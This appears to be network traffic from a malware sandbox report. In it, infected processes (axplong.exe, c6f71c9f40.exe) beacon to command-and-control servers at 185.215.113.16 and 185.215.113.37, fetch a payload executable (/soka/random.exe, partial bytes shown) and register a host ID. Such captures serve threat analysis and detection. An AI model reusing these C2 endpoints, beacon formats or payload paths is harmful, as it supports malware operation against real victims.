Sep 27, 2024 16:19:05.877290964 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:06.100825071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49658	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:06.651846886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:07.203988075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:07.306128025 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:07.542068958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49659	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:07.929140091 CEST	55	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:19:08.648495913 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:08 GMT Content-Type: application/octet-stream Content-Length: 1940480 Last-Modified: Fri, 27 Sep 2024 14:11:16 GMT Connection: keep-alive ETag: "66f6bd04-1d9c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fL@ M@WkLL @.rsrc@.idata @ +@tutljgzdP2@nhtewlazLv@.taggant0L"z@
Sep 27, 2024 16:19:08.648570061 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:19:08.648580074 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:19:08.648703098 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:19:08.648714066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:19:08.648725986 CEST	1236	IN	Data Raw: 5c 75 d7 8a 39 86 db b7 df a3 b4 b3 1e 87 1f e7 bb 85 7b bb ff 22 a9 eb 28 b3 c7 5f 0e 8b ec 09 09 3b 2a 86 0a a5 2b 13 2a 27 08 eb 7b 56 bb c3 bf ea 2d 3b 61 e7 d7 dd 20 a4 07 9b 3f e8 d9 eb 1e d3 3e 2f 47 86 4c c3 68 3e be 26 cf fb 3d ff 0c cb Data Ascii: \u9{"(_;+'{V-;a ?>/GLh>&=l"bE^V@DN(=Uq'?o;.KhNFqG?s%R#VC>;5orN)3FrWX`V.DLh?&'87["Mo(\9Ah+'q.={H
Sep 27, 2024 16:19:08.649564981 CEST	896	IN	Data Raw: 3e fe 13 2a 6b a5 09 c4 52 34 66 0c 21 86 4d 07 51 9c b3 83 b9 95 0e 4a e5 59 d4 58 49 1b 19 45 a8 5d ba 8b 36 e8 67 d0 e9 53 b8 9d e7 4b 9c 6f d1 3d 6f 6a df d0 b1 46 49 67 c8 80 de 7a 4f c6 7c cd f6 cc 19 d2 4f 44 99 4a 3c 03 9a d0 6a f8 27 a3 Data Ascii: >*kR4f!MQJYXIE]6gSKo=ojFIgzO\|ODJ<j't%K)Sh/xTyWx@o$nwG6cjv~TI$9qz_7\|!]NWy6<#gf@Kc-{fV)-m>"gmT_f)
Sep 27, 2024 16:19:08.649578094 CEST	1236	IN	Data Raw: aa b6 c9 3e 28 49 42 82 66 94 3f bb eb 85 ef 3f ee 7b 4d f8 8f 42 41 b4 5c 1f 84 2d 37 bb 5f c7 e7 2b b8 65 34 65 63 a7 74 25 de bf d4 82 e1 06 fd ef 55 be a4 f6 3d 51 04 a3 43 71 28 16 5a c8 f5 ef 4f 30 99 e7 03 43 46 83 2f ef 74 b9 87 5c 0d f4 Data Ascii: >(IBf??{MBA\-7_+e4ect%U=QCq(ZO0CF/t\.;2eQ_!MR7r_/=U,YJ3f%=-BD(UcQ7+=>[--R{G^?j'C%_f{#X+zYIg
Sep 27, 2024 16:19:08.649588108 CEST	1236	IN	Data Raw: ee bb 3b ff 26 8a 2e 2b 58 66 bd 03 ad 4a e0 8f 4c fa 50 bb e1 cb c6 fc e8 2e ff 90 b5 b7 c4 93 d3 49 b4 8d 24 ef 88 03 76 5d 81 7b e1 77 bb 27 dd 67 56 66 48 a7 eb 53 b4 d3 07 bf 11 69 bc 72 a1 99 f1 03 41 1a 8c 43 62 e2 ad c3 af 57 2d fb 38 ce Data Ascii: ;&.+XfJLP.I$v]{w'gVfHSirACbW-8mL-eMfeWO[RS3w8[CvukK7}ICq pncNsz}>~Mj x@4}\)7FtWNjF\|\|T.kOn
Sep 27, 2024 16:19:08.649763107 CEST	1236	IN	Data Raw: e4 9a c5 ed c8 d9 35 42 a9 9b 5f fd 25 1f 7e ec 0f 40 06 90 99 1f 29 95 9c 31 95 48 91 a7 56 5c d7 6b 87 57 a5 4d 8f c5 e8 0b 26 8f 1f c2 83 08 38 0f ee ed fc a0 84 17 0a 70 15 93 5e ce c0 92 52 13 0e fc 8a af 31 cc 17 bc b3 31 21 47 ad b5 79 67 Data Ascii: 5B_%~@)1HV\kWM&8p^R11!GygSXNgA!7E0G2+{!C"f9KX*gn$ST.D,USf=~y4BukA<pxjq\&kc@da#^<![4\-R;.&o0G!n;
Sep 27, 2024 16:19:08.653578997 CEST	1236	IN	Data Raw: e0 63 3f 46 cb 66 fa 97 78 c0 9d 5b 74 53 25 6b 29 fe c1 99 15 39 fe 76 36 ce 12 8f e3 43 48 53 71 69 af ac 81 eb 7b 98 65 68 e5 ca ae e1 2e d4 b4 6d c9 43 92 e7 1c c1 26 bc cd 85 7d aa 6e f6 89 5c 89 20 85 a4 2e 6b 79 f4 32 89 3c d3 01 02 79 b8 Data Ascii: c?Ffx[tS%k)9v6CHSqi{eh.mC&}n\ .ky2<yH,kXGcG&HQh`K%'")h@]E-w/i\wL&EP<I9TLST(hGytG\2GUS]#aL\Fu z>M+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49671	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:08.107376099 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:08.828274965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:08.848314047 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:09.083601952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49674	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:09.204564095 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:09.918931007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:09.942732096 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:10.169903040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49676	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:10.396409035 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:11.238874912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49679	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:12.536789894 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:13.335199118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49681	185.215.113.37	80	4016	C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:13.100629091 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:19:13.799117088 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:19:13.828886986 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build"save------HDGCFHIDAKECFHIEBFCG--
Sep 27, 2024 16:19:14.059866905 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49682	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:13.507828951 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:14.220047951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49684	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:14.432701111 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:15.093111992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49686	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:15.260932922 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:16.067903042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49691	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:16.135706902 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:17.148433924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49692	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:17.332809925 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:18.420540094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:18.447575092 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:18.749805927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49700	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:18.879532099 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
